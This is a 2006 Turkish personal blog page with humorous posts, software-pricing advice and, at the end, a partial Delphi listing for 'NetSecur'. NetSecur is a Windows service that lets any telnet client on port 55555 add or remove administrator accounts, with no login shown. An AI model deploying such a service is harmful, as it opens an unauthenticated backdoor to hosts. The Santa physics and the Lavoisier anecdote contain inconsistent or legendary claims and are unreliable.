dAhA kArAr vErMeDiM

Pazartesi, Temmuz 31, 2006 - Bir Geyik Hikayesi...

Kategori: Af Buyur
    Aslında Delphi ve arşivbank yazı dizisinin sıradaki konusuyla devam edecektim. Ama malüm sıcaklar iyi bastırdı. Biraz serinlemek adına kaynağını bilmediğim bir geyik hikayesini yapıştırıverdim. Bu sıcakta serinletmedi ama benim hoşuma gitti, belki siz serinlersiniz.

Noel Baba Gerçekten Var mı?


Aslında bu mail bir soru değil, yarı şaka yarı ciddi bir yazı, umarım okumaktan zevk alırsınız... Bir Noel Baba var mı?

    Hollandalı göçmenlerin Amerika'ya getirerek orada folklorik bir nitelik kazandırdıkları kişi. 6 aralıkta hatırlanır. Çocukların koruyucu azizi olduğuna inanıldığından standart Noel Baba kıyafetine girmiş kişiler o günlerde çocuklara hediyeler dağıtır. Gerçek Noel Baba Ren geyiklerinin çektiği kızağıyla uçarak o gece bütün evleri dolaşır ve bacalardan evlere girerek iyi çocuklara hediyeler bırakır.
Bugünkü geyik perşembesinde Noel Baba ve geyikleri hakkındaki gerçekleri arıyoruz.

    Bilinen hiçbir ren geyiği türü uçamaz. Fakat bu Noel Baba hakkında kuşkuya düşmemiz için yeterli bir sebep değildir. Çünkü yeryüzünde henüz tasnifi yapılmamış 300,000 organizma yaşıyor. Bu türlerin çoğu böcek ve mikroorganizma olması sadece Noel Baba'nın gördüğü uçan ren geyiklerini tamamen ihtimal dışı bırakmaz.

    18 yaşının altındakileri çocuk sayarsak dünyada 2 milyar çocuk var, ancak Noel Baba'nın Müslüman, Yahudi, Hindu ve Budist çocukları ziyaret etmediğini düşünürsek, bu sayının sadece %15'i olan 378 milyon çocuğu ziyaret edeceği ortaya çıkar. Nüfus Referans Bürosuna göre her evde ortalama 3.5 çocuk olduğundan ziyaret edilecek ev sayısı 91.8 milyon olur. Her evde hiç olmazsa bir iyi çocuğun var olduğunu kabul edebiliriz.

    Noel Baba'nın bütün bu çocukları ziyaret edebilmesi için toplam 31 saat zamanı var. Neden 24 değil de 31? Çünkü dünya üzerindeki farklı zaman dilimleri Noel Baba'nın lehine çalışır ve ona fazladan 7 saat kazandırır. Elbette ki o akıllı bir aziz olduğundan evleri ziyaret etmeye Noel gecesinin girdiği en doğudaki bölgelerden başlayacak ve batıya doğru ilerleyecektir. Bu durumda her saniyeye 822.6 ziyaret düşer. Bu da şu demektir: Noel Baba en az bir iyi çocuğun bulunduğu bir evde kızağı park etmek, kızaktan inmek, bacadan aşağı kaymak, hediye konması için ayrılmış çorap vs gibi şeyleri doldurmak, diğer hediyeleri Noel ağacının altına dağıtmak, yiyecek olarak bırakılan şeyleri yemek, bacadan tekrar geri çıkmak, kızağına binmek ve başka bir eve gitmek için saniyenin yaklaşık binde biri kadar bir zaman harcayabilir.

    Bu durmaların bütün dünya üzerinde düzgün olarak gerçekleşeceğini kabul etmek yanlış olur, ancak hesaplamalarda kolaylık olması için öyle kabul edelim. Bu da yaklaşık olarak 120 milyon kilometrelik toplam yola karşılık gelir. Tabi bu arada yeme, içme ve diğer beşeri ihtiyaçları için arada bir durması gerektiğini de ihmal ediyoruz. Buradan basit bir hesapla da görülür ki Baba'nın kızağı saniyede 1040 km hız yapmalıdır. Bu ses hızının 3.000 katı kadardır.

    Bir karşılaştırma olması için söyleyelim ki, yeryüzünde insan eliyle yapılan en hızlı araç olan Ulysses uzay keşif aracı saniyede 44 km gibi basit bir hızda hareket eder. Bildiğimiz ren geyikleri ise saatte en fazla 15 km hızla koşar.

    Kızaktaki yük te başka ilginç bir noktadır. Her çocuğa yaklaşık 1 kg ağırlığındaki orta boy bir lego takımı   hediye getirildiğini kabul edersek, kızaktaki hediyelerin ağırlığının yaklaşık 322 bin ton olması gerektiğini buluruz. Tabi bu hesaplamaya Noel Baba'nın ağırlığı dahil değildir. Resimlerini görmüş olmalısınız, kendisi epey okkalı bir şahsiyettir. Yeryüzündeki aşina olduğumuz geyikler 130 kg dan fazla yükü çekemez. Uçan geyiklerin bundan 10 kat daha fazla yük taşıyacağını kabul etsek bile 8 veya 9 geyikle bu işin yapılamayacağını anlarız. Hesaplanırsa bu kadar yükün taşınabilmesi için 214,200 geyiğin gerektiği görülecektir. Geyiklerin ağırlığı da hediyeler ve Noel Baba'nın toplam ağırlığına eklenirse 354,430 ton yük olacaktır. Buna kızağın kendi ağırlığı dahil değildir. Kıyaslamak gerekirse bu bir transatlantiğin yaklaşık 4 katı kadardır.

    1040 km/sa hızla giden yaklaşık 360,000 tonluk bir kütle muazzam bir hava sürtünmesi oluşturacaktır. Bunun sonucunda geyikler dünya atmosferine giren uzay araçları veya meteorların ısınması gibi ısınacaktır. Bu ısınma öndeki geyik çiftinin her birine saniyede 14.3 quintillion joule ısı enerjisi verecektir. Kısaca ikisi de derhal alevler içinde kalacak ve bu alevleri arkadaki çifte ulaştırarak onları tutuşturacaktır. Bunu sağır edici şiddette sonik bir patlama izleyecektir. Yanmaya başlayan her yeni çift aynı etkiyi sağlayacaktır. Tüm ren geyiği filosu saniyenin 1000 de 4.6 gibi bir kesri içinde buhar olacaktır. Bu arada Noel Baba'nın kendisi yerçekiminden 17,500 kat daha büyük bir merkezkaç kuvvetin etkisinde kalacak ve 120 kiloluk cüssesi kızağın arkasına 1941756.75 N'luk bir kuvvetle yapıştırılacak ve vesikalık fotoğraf gibi kalacaktır.

    Sonuç olarak, Noel Baba herhangi bir Noel zamanında hediye dağıtmaya kalkıştıysa, şimdi ölü olmalıdır.

    Yukarıda yazılanlar Baba'yı ölüme mahkum etmişti, ancak tamamen klasik fizik yasalarına dayalı açıklamalardı. Aslında Baba'yı kurtaracak bir yol var: O da quantum ve relativite fiziğinin yasalarıdır. Şimdi quantum ve relativite fiziğinin yasalarını kullanarak Baba'yı kurtarıp kurtaramayacağımıza bakalım.

    Evet. Doğrusunu isterseniz, quantum fiziği Baba'yı kurtarır. Çünkü o analizde Baba'nın özel durumunda önemli hale gelen quantum olayları hiç göz önüne alınmadığından, açıklamalar ciddi bir şekilde yanlıştır. Nedenlerimizi yine madde madde sıralayalım.

    Verilen bilgilerden de açıkça anlaşılıyor ki, Noel Baba'nın bazı fiziksel niceliklerini %100 kesinlikle biliyoruz. Örneğin, kuru bir Aralık atmosferinde uçan bir ren geyiğinin limit ya da terminal hızı kesinlikle biliniyor. Baba'nın, geyiklerin, kızağın ve hediyelerin toplam kütlesi de, Baba hediye dağıtımına başlamadan hemen önce kesinlikle biliniyor. Hatta Baba'nın doğudan batıya doğru uçması gerektiğini, yani hız vektörünün yönünü de biliyoruz. Bütün bu bilgileri birleştirdiğimizde % 100 kesinlikle neyi bilmiş oluyoruz? Tabii ki Baba'nın momentumunu. Momentum nedir? Bir cismin kütlesi ile hızının çarpımıdır. Örneğin 1000 kg'lık bir araç saniyede 30 m hızla batıya doğru gidiyorsa, aracın momentumu 1000*30 dan 30,000 batıya doğrudur. Demek ki bu bilgiler bize Noel Baba'nın momentumunu kesinlikle bilme imkanı sağlıyor.


    Pekii, Heisenberg belirsizlik ilkesine ne oldu? O da nedir? Bir cismin nerede olduğunu % 100 kesinlikle bilirseniz, onun momentumunu hiç bir şekilde bilemeyeceğinizi, ya da bir cismin momentumunu % 100 kesinlikle bilirseniz onun her hangi bir anda nerede bulunduğunu asla bilemeyeceğinizi söyleyen quantum fiziği yasasıdır.

    Bu yasayı Noel Baba'nın durumuna uygularsak görürüz ki, Noel arifesi gecesi verilen herhangi bir anda Baba'nın nerede olduğunu bilmenin hiç bir yolu yoktur. Hatta quantum saçılması sebebiyle herhangi bir anda yeryüzünün her hangi bir yerinde olabilir. Dahası her yerde olabilir. Yani, Baba'nın bütün hediyeleri dağıtmak için bırakın 31 saati, 24 saate bile ihtiyacı yoktur. Hepsini aynı bir tek anda dağıtıp, sonra da kızağına atlayarak gelecek Noel'i beklemek üzere Kuzey Kutbu'ndaki evine gidebilir. Hediye dağıtma işini bütün geceye yayıyorsa, bu sadece evlere herkes uyurken girmek istemesinden dolayıdır.

    Sadece quantum fiziği değil, relativistik fizik yasaları da Noel Baba'nın lehine işler. Baba'nın ren geyiği filosu ışıktan hızlı giderek zamanda geriye gidebilir. Yani, Baba ara sıra takyonik hale geçerek zaman yolculuğu yapabilir. Bu durumda hiç bir sorun kalmaz, çünkü bizim ölçümlerimize göre 1 gecede gerçekleşen hediye dağıtma işini Baba kendi zaman akışına göre istediği kadar uzun sürede tamamlayabilir. Hatta bütün hediyeleri bir anda kızağına yüklemek zorunda bile kalmaz. Parça parça taşıyarak da dağıtabilir.

Lavoisier'nin Kellesi

    Kimya biliminin dehası Lavoisier'nin, asıl eğitimi hukuktu ve Paris Barosu'na kayıtlı bir avukattı. Bilimsel gözlem ve yorum üzerine yaptığı konuşmaları ile ünü bütün dünyaya yayılmıştı. Kimya bilimini reddeden yobazların kafasını gösterip "Bu kelleler hiçbir şeye yaramaz" dediği için tutuklandı. Aynı gün yargılanıp ölüme mahkum edildi.

    Lavoisier, matematikçi Lagrange'i çağırdı. "Kellem giyotinden sepete düştüğünde gözlerime bak; eğer iki kere kırpıyorsam bil ki, insan kafası kesildikten sonra bir süre daha beyninin düşünmekte olduğunu anlarız."

    Lavoisier'nin kafası kesildikten sonra sepete düştü ve gülerek iki kere göz kırptı.

    Matematikçi Lagrange diyor ki, "Lavoisier'nin son saniyedeki ispat arayışı, bilimselliğin yüzyıllar sürecek meşalesidir. Ama o yobaz kafalar ufunet üretmek için asırlarca karanlıkta sürünecekler..."

Osman Efendi'nin Ağrıları

    Osman Efendi bir sabah müthiş bir başağrısıyla uyanır. İlaç alır geçmez. Bir iki gün bekler, ağrı devam eder. Doktor çağrılır.Doktor muayene eder, ağrı kesiciler verir, gider. Lakin Osman Efendi'nin başağrısı artarak sürer. Üstüne üstlük başağrısı yanısıra gözleri de yaşarmaya başlar. Baska doktorlar çağrılır... Osman Efendi Uşak'ın ileri gelenlerindendir, ağrıyı kesene servet vaat eder. Doktorların hiçbiri ağrıyıdurduramadığı gibi sebebini de bulamaz. Ev halkı birbirine karışır, başağrısından geceleri uyuyamayan Osman Efendi'yi İstanbul'a götürmeye karar verirler. İstanbul'da en iyi doktorlar seferber olur. Röntgenler, beyin tomografileri çekilir, testler yapılır...

    Görünüşe bakılırsa Osman Efendi turp gibidir. Oysa dayanması gittikçe zorlaşan başağrısı ve gözyaşlari hayatı çekilmez hale getirmiştir. Ağrı kesici iğnelerle zor ayakta duran Osman Efendi bu defa da apar topar yurtdışına götürülür. O devirde Amerika değil İsvicre moda, Zürih'e gidilir.Haftalarca hastanede kalınır, onlarca profesör konsültasyon yapar, testler tekrarlanır. Sonuç: Efendi'ye teshis konulamaz.

    Artık yerinden kalkamayan Osman Efendi'ye ağrı kesici iğneler verilir, altmışlarını süren adamın ülkesine dönüp "dinlenmesi", daha doğrusu son günlerini evinde-geçirmesi tavsiye edilir. Osman Efendi bitkin, aile perişan. "Kader" denilir, Uşak'a dönülür.

    Osman Efendi yayla evinde bir odaya yatırılır ve ağrı kesici iğnelerle ölümü beklemeye başlar. Bir gün, hastanın keyfi gelsin diye, Osman Efendi'nin eski berberi "Berber Mehmet" cağrılır Berber yataktan kalkamayan Osman Efendi'yi tıraş ederken, adamcağız derdini anlatır ve ölümü beklediğini söyler. Berber Mehmet bir an düşünür. "Beyim" der,"Sakın sizin burnunuzda kıl dönmüş olmasın?" Bir bakar, "Hah işte" der "Kıl dönmüş. "Osman Efendi'nin şaşkın bakışlarına aldırmaksızın çantasından cımbızı kaptığı gibi kılı çeker. Ev halkı Osman Efendi'nin köyü ayağa kaldıran çığlığıyla odaya koşar. Berber Mehmet, Osman Efendi'nin elinden zor alınır ve cımbızın ucunda tuttuğu yirmi santimlik kılla kapı dışarı edilir. Osman Efendi'nin kanayan burnuna pansumanlar yapılır, kolonyalar koklatılır ve yaşlı adam tekrar yatağına yatırılır.Ertesi sabah Osman Efendi aylardır ilk defa rahat bir uykudan uyanır. Gözlerinin yaşarması geçmiştir.Başağrısından ise eser kalmamıştır. Dönen kılın sinire yürüyüp gittikçe uzayarak dayanılmaz ızdıraplara yol açtığını doktorlar ancak o zaman keşfeder. Çözümün bu kadar basit olabilecegi kimsenin aklına gelmemiştir. Sapasağlam ayağa kalkan Osman Efendi, Berber Mehmet'i çağırtır ve ona bir servet bağışlar.

Şimdi bu gerçek hikayeyi niye anlattık?

1. Vergiden turizme, sosyal güvenlikten adalet reformuna kadar Berber Mehmet efendilerin fikirleri var, dinlemek gerek.....
2. Bazen büyük sorunların cok basit çözümleri olur.
3. Burnundan kıl aldırtmayanların başı çok ağrıyabilir.

Editörün Notu : Hala serinlemediyseniz, hızlı hızlı yazıyı baştan aşağı bi kaç kere daha okuyun.

Yorum (yok) :: Yorum yaz! :: Bağlantı

Salı, Temmuz 11, 2006 - Usta Bu Kaç Para ?

Kategori: Af Buyur
   Son zamanlarda artış tirendi gösteren bir mevzu var. Her kafadan bir ses çıkıyor. İşin içinde cukka (para) oluncada tüm dikkatler bu başlıklara çevriliyor. Meğer yurdum programcısı aç ve sefil bir vaziyette gezerde sesini forum köşelerinden başka bir yerde duyuramazmış. Avazı çıktığı kadar bağırıyor adeta. Şöyle bir kafayı çevirip bakıyorum muhteremlere doğru. Hani yazdıklarından pek anlaşılmıyor kimin ne kadar dertli olduğu. Kimisi ailesini geçindiriyor.Çoluk çocuk sahibi. Kimisi okul masrafını çıkarmaya çalışıyor. Kimisi ek iş olarak yürütüyor "olsada olur olmasada" gibilerinden. Kimiside "aman yapıyoruz işte üç beş kuruşta kazansak ne olurcu..."

   Sormuş biri. "Hocam şu özelliklerde, şöyle bir iş yapacağım. Ne kadar ücret isteyim ?" Biri ordan cevap vermiş. "Fiyatı inşaat ameleleri gibi yevmiye usulüne göre belirle". Bir diğeri demiş "olmaz sen işçisin ne yevmiyesi, saat ücretli çalış" diye. Velhasılı ikram herkes kendine göre yazılımcı, web tasarımcısı, grafiker. Ancak iş konusunda tecrübesi çok olan, piyasayı iyi takip eden emeğinin karşılığını net isteyebiliyor. Diğerleri Allah ne verdiyse artık.

  Her iş kolunun bir sendikası var. Her esnafın bir odası. Alt limit üst limit tarifeleri belli yani. Ama bizim iş standartları olan bir iş değil ki. Kimisi üyelik sistemli, kimisi tek kullanıcılı, kimisi çok kullanıcılı bir sürü çeşit yazılım ve tasarım yapılıyor. Tabiki aynı sektörde aynı modüllerden oluşan yapılarda da kalite ve performans farkı olabiliyor. Bu biraz aynı gramaj ve ayarda altın bilezikten farklı desen ve şekillerde takı çıkarmaya benziyor. Ama en azından altın takıda bir gramaj ve ayar taban fiyatı var. Üstüne bir tek işçilik ve maliyet konunca fiyat belli oluyor.

  Peki biz fiyat belirlerken hangi ayara, hangi gramaja bakmalıyız. İşte bu kısa yazımızın konusu bu. Tabi burda yazacaklarım benim kişisel tecrübelerimi ve düşüncelerimi yansıttığından kimseyi bağlamaz. Siz yine tutturabildiğinize satabilirsiniz uygulamalarınızı ve tasarımlarınızı.

  Yazılım Ücretlendirirken Dikkate Alınması Gereken Noktalar

  • Her şeyden önce eğer bir yazılım firmasıysanız ücret belirleme işlemi için ticari faaliyet sahanızı iyice analiz etmelisiniz. Pazardan karpuz bile alırken müşteri, tezgah tezgah geziyor ve karpuzun iyisini, ucuzunu veren yeri bulmaya çalışıyor. Çevrenizi iyi araştırın. Benzer uygulamalara diğer firmaların, veya tanıdığınız bireysel yazılımcıların/tasarımcıların istedikleri fiyatları  düzenli olarak takip edin. Bu fiyatların ne altında ne üstünde  olmamaya özen gösterin. Tabi uygulamanıza has özellikleride dikkate alarak.

  • Geliştireceğiniz yada tasarlayacağınız yazılım ilgili sektörde ne kadarlık bir kitleye hitap edebilir. Tek bir firma için geliştirilecek uygulamadan elde edilecek gelirle, aynı sektörde birden fazla firmaya hitap edecek uygulamadan elde edilecek gelir  takdir edersiniz ki farklı olacaktır. Pazarcıların söylediği "sürümden kazanmak" deyimi sanırım  bu  tür durumlar için ifade edilmiştir.

  • Uygulamayı yada tasarımı sıfırdanmı yapacaksınız ? Yoksa mevcut bir inşaat temelinin üstüne katmı çıkacaksınız. Kişisel görüşüm bir işi sıfırdan yapmak çoğu kez mevcut ve başkaları tarafından geliştirilmiş yapının üzerine kat çıkmaktan iyidir. Ancak OOP dillerinin sağladığı imkanları ve iyi tasarlanmış, temeli sağlam yapıları bu görüşümün dışında bırakıyorum. Aynı zamanda bir işi sıfırdan yapmak demek daha fazla zaman, daha fazla iş gücü dolayısıyla daha fazla maliyet demektir.

  • Yapacağınız uygulamanın iş sektörü hakkında ne kadar bilgiye sahipsiniz. Bir sürü iş kolu var. Tüm iş kollarınıda ezbere bilemezsiniz. Ama özel olarak bir sektöre yönelik yazılım geliştirecekseniz ilgili iş kolunda ne yenir, ne içilir, ne konuşulur gibi Teknik detay bilgilerine ihtiyacınız olacaktır. İlgili iş kolunun teknik dokuman ve işleyişi hakkında ne kadar bilgiye sahip olursanız talep edeceğiniz ücreti belirlemekte o denli kolay olacaktır. Burada ki esprilerden biride cirosu yüksek müşterinin getirisi daha fazla olur anlayışıdır. Tabi müşterisinede bağlı biraz.

  • Eğer benzer bir uygulama yada tasarımla daha önce uğraşmışsanız işiniz kolay. Aşağı yukarı ne kadar satırı, kaç kişiyle, kaç günde yazacağınızı bilirsiniz. Bu işi yaparken tüketeceğiniz eforu yerine koymak için ne kadar yer, ne kadar içer ve motivasyon için ne kadar eğlenirsiniz bilirsiniz. İşin sıkıcı noktalarını, bağlamlarını bilir, bu bölümleri uygun personele, olmadı eşe dosta havale edebilirsiniz. Buda size yol su elektrik olarak geri döner ve maliyetinizi düşürebilirsiniz.

  • Tabi uygulamanın fiziksel bir maliyetide olacaktır. Örneğin bir web tasarımında alınacak hizmete bağlı domain ve hosting masrafları, yazılacak uygulama ile birlikte kullanılacak  çevre birimleri gibi. Üstüne üstlük birde yazılım firması sahibiyseniz yanınızda çalıştırdığınız personel giderlerinide maliyete eklemek zorundasınız. Bireysel çalışanlar için ev ahalisine ayıracakları zamanı parasal olarak karşılayamayacaklarından bir tavsiyede bulunamayacağım. Ama bu işin sonunda elde edeceğiniz geliri yakınlarınızla paylaşarak bu durumu kısmen hafifletme yoluna da gidebilirsiniz.
    Sanırım bundan daha fazlasıda vardır benim klavyenin tuşlarına gelmeyen. Ama dillendireceklerim şimdilik bu kadar. Tüm bu noktalar ışığında hala ne ücret isteyeceğinizi  bilemiyor musunuz  ? O zaman bizim ceviz'in muhterem kalbur üstü cematinin söylediklerinede bir göz atın. İçlerinden bir kaçı size uyacaktır. Ben kendi adıma kısaca bir formül uydurdum bu görüşler doğrultusunda.

Aylık Net Gelirim                           : 2.000 YTL
Günlük Standart Çalışma Sürem     : 8 Saat (Ortalama)
Aylık Toplam Çalışma Saati            : 8x20 = 160 saat/iş günü (Ortalama)
Saat Ücretim                                :  12,5 YTL.

 İşte benim formülüm.

 Fiziksel Maliyetler + (Ortalama Çalışma Saati x Saat Ücretim)

  Kolay görünüyor değil mi? Aşağı yukarıda tutan bir hesap tarzıdır. Kafa karıştırmaz, yormaz. İnsanın emeğine ücret talep etmesi zor bir iştir. Kolayı  yapabileceğiniz  diğer bir işle  benzer formülasyonu uygulamak olabilir. Seçim sizin. Bu kadar yazı yazdık. Bu yazıdan elde etmemiz gereken geliri hesaplayarak konuyu kapatalım.

Çalışma (Yazma) Süresi : 45 Dk.
Fiziksel Maliyet              : Klavyem biraz eskidi, azcıkta elektrik yaktık bizden olsun.
Alınacak Ücret               :  9,375 YTL.
Fatura kesilirse              : + KDV

  Blogcu müdüriyeti hesap numaram sizde var. Düze tamamlar yatırırsınız artık.

  Bir yazının daha sonuna geldik. Başka yazılarda görüşmek dileğiyle esen kalın, hoşçakalın.

Yorum (yok) :: Yorum yaz! :: Bağlantı

Cuma, Hazirane 16, 2006 - Programcılar Sorunlu mu?

Kategori: Af Buyur
    18 sene oldu. Dün gibi mazi.Yaşlandıkça insan hatırlamakta zorluk çekiyor. Kokuları, renkleri, isimleri, yerleri hatırlayamıyorum çoğu zaman. Ama kodu, kodumu, kodunu ve godumun godunu hiç unutmuyorum. Belki harf harf kazınmıyor belleğime, belki kelime kelime bilinmiyor. Başkasının gözüyle bakınca tren geçiyorsada, kendi gözümle bakınca kara treni, ovayı, çayırı, kenarında akan dereyi, içinde yüzen balıkları ve daha nicesini her bir ince ayrıntısıyla hatırlıyorum kodlarımda.

    Sıradan bir günde sıradan işler yapmakta vardı. Keyfekeder zevki, sefayı sürmekte. Nedensiz ve anlamsız bir kuru inattan girdim bu işlere. Şimdi...Şimdi çıkmak istesemde çıkamıyorum. Sanki belimden, ellerimden zincirlemişler, sanki yaşamda bilgisayar manyaklığından başka bir şey yokmuş gibi. Bu yazıyı yazarken bile "hadi gideyim bir nargile keyfi yapayım" geçti kalbimden. Nerdeee ? Başıma silah dayayan mı var ? Aman dur şunu bitir öyle git diyen mi ? Olmazsa olmazlarımın çeteresi bile 3-5 satırı geçmezken bilgisayar salmadı beni yine bir yere.

    - Abi nereye ? Ne nargilesi. Boş ver hafta sonu gidersin. Beni bırakıp gitme. Bak benden daha iyi dostun mu var. Kime güveniyorsun ? Bana mı? Diğerlerine mi? Kimi seviyorsun beni mi ? Diğerlerini mi?

    Ahhhh ahh. Ne gırgır ne şamata. İnsanın feleğini şaşırtıyor bu alet. Gündelik yaşamda her birimiz farklı hayatlar sürerken bir sürü sıkıntılı işle uğraşırız. Sıkıntımı atıyorum. Atıyor muyum ? Daha iyi bir yolu yok mu? Aklım sadece bu alete, buraya odaklandığından mıdır nedir kendimi unutuyorum, kendimi kaybediyorum, ya da kendimi avutuyorum.

    Her insanın mizacı farklıdır. Kimisi çok espriyel, kimisi somurtkan, kimisi alıngan. Programcıların esprili olanına çok nadir rastlarsınız. Sanki hayatı ve içindekileride onlar kodlamışlardır. Gerçek yaşamda yolunda gitmeyen işin düzeltilmesi, bilgisayarda yolunda gitmeyen bir işlem parçacığının düzeltilmesi kadar kolay olmayabilir çoğuz zaman. İnsanların arasına karışmakta zorluk çekeni çoktur. Çevrenize bakınca "aaa bak bu programıcıymış" dersiniz ! daha kendi algortimasından bi haber olanlara. Kendi kaynak kodunun farkında olanlarsa yaşamı umursamazlar çoğu kere.

    Yaşamın kendisi de sanal bir alemdir onlar için. Çoğu kez sanal alem gerçekliğin ta kendisidir onlar için. Aynaya nadir bakar, az uyur, az yer, az konuşur, öz konuşur programcılar. Az dost edinir, dostlarıda kendilerinden olur programcıların. Dostluk olupta muhabbet geyiğe kolay kolay dönmez, yine kodlar, teknolojiler ve bilgisayar konuşulur.

    Hani derler ya denizcinin parası bol karısı dul olur diye. Programcının ki hem dul hemde fakirdir ilgiden yana. Parası bol olsada adam akıllı yemeyi, eğlenmeyi bilmez ki. Hasbel kader iyi bir patronu, iyi bir sektörü, yada iyi bir çevresi varsa, zaman zaman elinden tutup çekip alırlar bir süreliğine kodcuklarından koparıp, gerçek hayata götürürler.

    Gerçek hayattan sanal alemine, kodlarına dönüncede başlar diğerleri gibi.   "Programcılar Sorunlu mu ?" diyerek kendini sorgulamaya ?

    Sen söyle hakim bey, Suç Kimde ?

Yorum (yok) :: Yorum yaz! :: Bağlantı

Salı, Hazirane 6, 2006 - Delphi 2006 ve Fites 2

Kategori: Af Buyur

    İlk defa bir windowz aracının düzgün çalışmasına öyle sevindim ki. Şeytana uydum delphi 2006 hot fix leri yükledim. Baktım sorun yok dedimki vitesi 1′e atmadan 2′ye takalım. Taktık takmasına ama motor ayvayı yedi. Ne yapacağımı düşünürken bill amcanın geri yükleme noktası geldi aklıma. Her zaman “C” de dahil tüm sürücüleri geri yükleme işine kapatırken nasıl olduysa bu kez “C” için geri yükleme noktaları oluşturma işlemini kapatmamışım. İyikide kapatmamışım. Debriyaja basıp vitesi boşa aldım. Her şey eski haline döndü.

    Anlamadınızsa sakın yorum yapmayın, anladınızsa sakın açık etmeyin. “Uyandırma kerizi bulandırır denizi” öz deyişimizi hatırlayın. İllada bu yazının manasını isterseniz bana özelden sorun cevaplayım. Adresi biliyorsunuz. Bilmeyenler için tekrarlayalım.

Yorum (yok) :: Yorum yaz! :: Bağlantı

Cumartesi, Mayıs 27, 2006 - Hadi Gelin Köyümüze Geri Dönelim

Kategori: Af Buyur
   Yaş 70 iş bitmiş derler ya, inanmayın. Geçenlerde yolum bir internet cafeye düştü. Gözlerime inanamadım. 70 değillerse bile en azından 50-60 yaşlarında tombul tombul ak saçlı teyzeler amcalar oturmuşlar msn.de görüntülü sesli chat yapıyorlardı. Sizin oraları bilmem ama bizim muz cumhuriyetinde alışıldık bir şey değildi.  

    Okul bittimi yaz tatillerinde bazen köye giderdim. Köy deyince hemen aklınıza tatil köyü gelmesin. Eski toprakların iyi bildiği yeni neslinse kıyısından köşesinden geçerken gördüğü köylerden biriydi bizim köy. Ahşaptan derme çatma toprak sıvalı yapılar, köy meydanı ve belli başlı yerlerde akan pınarlar, ardında bir kağnıyı çeken öküzler ve bilimum hayvanatlar, ekili tarlaları ile tam anlamıyla bir köydü bizim köy. İlerlemiş yaşına rağmen hala tarlada, otlakta, merada çalışan insanları gördükçe teknolojiden ve nimetlerinden yararlanmadıklarını düşünür hayıflanırdım. Elektrik vardı ama evlerde çeşme yoktu.Toprak yollar vardı ama araba yoktu. Telefon bizim şeherdeki evde bile yokken köyde olması tabiki düşünülemezdi. En çok televizyon olayına daralırdım. Renkli değildi ama bizim evde iyi kötü bir siyah beyaz televizyon vardı.

    İnternet cafede gördüklerim bana maziyi hatırlattı. İnsanlar teknolojiye kolayca ayak uydurabiliyorlar. Almanya'da yaşayan akraba hısımlarıyla internet cafe aracılığıyla görüşüyorlarmış. sırf bu yüzden eve bilgisayar almayı düşünüyorlardır herhalde.

Telefonun Olmadığı Köyde TelNet Kullanmak

    Teknoloji ve maziyle ilgili anlattıklarımız şimdilik yeter. Gelelim mevzuya. Windows ileri zekalı işletim sisteminde Telnet adında bir servis vardır. Uyanık olanlarımız gerekmedikçe bu servisi aktif etmeyiz. Ama bazen o kadar çok işe yarıyor ki, bununla ilgili geçmiş zamandan bir çalışmamı bu yazıya konu edecek kadar başarılı işler çıkarabiliyor.

    Bu yazıda anlatılacak windows servisleri ve özellikle telnet konusunda kısmi olsa bile bilgi sahibi olduğunuzu varsayıyorum. Yok ben bunları bilmiyorum, öğrenmek istiyorum diyorsanız bildiğiniz arama motorunda "TELNET" ve "Windows services" yazın şıp diye bir sürü makale ve yazı bulursunuz.


    Yıllar önce çalıştığım dükkanda uzaktan makina yönetmek ve belli başlı işleri yaptırmak için bir servis yazmıştım. Bu servisin bizim dükkanla olan ilgisini kesince ortaya güzel bir şeyler çıktı. Ortaya çıkan bu güzel şeyin ne olduğunu yazının ilerleyen satırlarında sanırım sizde anlayacaksınız....

NetSecur :

    Netsecur delphi4  ile yazılmış bu yazıya konuk etmek için delphi6 ile yeniden derlenmiş bir windows servisidir. Kodların tamamı bana ait olup tepe tepe kullanmak serbesttir. Tabiki bu haliyle değilde algoritmasını alarak kullanırsanız daha faydalı olacaktır.

    Bu haliyle kısaca çalışma düzeneği Şöyle ;  Telnet ile netsecur servisi kurulu bir makinaya bağlanırsanız, ilgili makinaya 3 farklı yönetici hesabı ve global grup ekleyebilir yada eklediğiniz hesapları kaldırabilirsiniz. Bunu iyi amaçlar doğrultusunda kullanacağınıza eminim.

    Yasal uyarı !!! bu kodlar sağlığa zararlıdır. Eğer birinin makinasına dallanmak için kullanırsanız hem bu hem öteki dünyada iki elim yakanızda olur haberiniz olsun.


    Boynumun borcu yasal uyarıyı yaptıktan sonra kısaca bir kaç satır kodcuk üzerinde duralım ve daha sonra kullanma kılavuzunu birlikte yazalım.

    Uygulamada TServerSocket esas oğlan rolünü kapmıştır. Uzak makina ile iletişimi kurmak için gerekli olan alt yapıyı bize sunar. Aşağıdaki kod  uygulama servis olarak yüklendiğinde  koşar.Servis durduruluncaya kadar (while not Terminated do) bir kısır döngü bağlantı isteklerini dinler.

procedure TNetSecurity.ServiceExecute(Sender: TService);
begin
  try
    //Telnet bağlantısı için port numarası
    ServerSocket.Port := 55555;
    ServerSocket.Active := True;
    while not Terminated do begin
      ServiceThread.ProcessRequests(False);
    end;
    ServerSocket.Active := False;
  except;
  end;
end;

    Eğer komut isteminde : telnet makina_ip_adresi 55555 yazarsanız bir hoş geldin ekranıyla sizi karşılar. Aslında ben davul zurna veya bandoyu tercih ederdim ama çok gürültülü olacağından bununla yetindim.

procedure TNetSecurity.ServerSocketClientConnect(Sender: TObject;
  Socket: TCustomWinSocket);
var
 S: String;
begin
  S := 'Telnet Yonetici Hesabi olusturma hizmetine hos geldiniz. Yardim icin ? yazin...'+#13#10;
  Socket.SendText(S + '');
end;

    Komut istemi satırında ? yazarsanız uzak makinaya yaptırabileceğiniz işlemler için kullanabileceğiniz komut ifadeleri gelir. Hani bizim eski dost DOS'ta yaptığımız gibi.

procedure TNetSecurity.ServerSocketClientRead(Sender: TObject; Socket: TCustomWinSocket);
 Var
   S    : String;
   Lvl  : SmallInt;
   C    : Char;
begin
  S := Socket.ReceiveText;
  C := S[1];
  Lvl := -1;
  if C in  Sayilar Then  Lvl := StrToInt(C);

  if AnsiCompareText(S, 'x') = 0 then
  begin
    Socket.SendText(CR+'Gule Gule...');
    Socket.Close;
  end
  else
  if AnsiCompareText(S,'?')=0 then
  begin
    Socket.SendText(CR+'?       = Yardim'+CR+
                    'X       = Baglantiyi Kes ve Cik'+CR+
                    '0       = 1 nci seviye hesap ekle (Low)'+CR+
                    '1       = 2 nci seviye hesap ekle (Normal'+CR+
                    '2       = 3 ncu seviye hesap ekle (High)'+CR+
                    '3       = 1 ci seviye hesabi sil(Low)'+CR+
                    '4       = 2 nci seviye hesabi sil (Normal)'+CR+
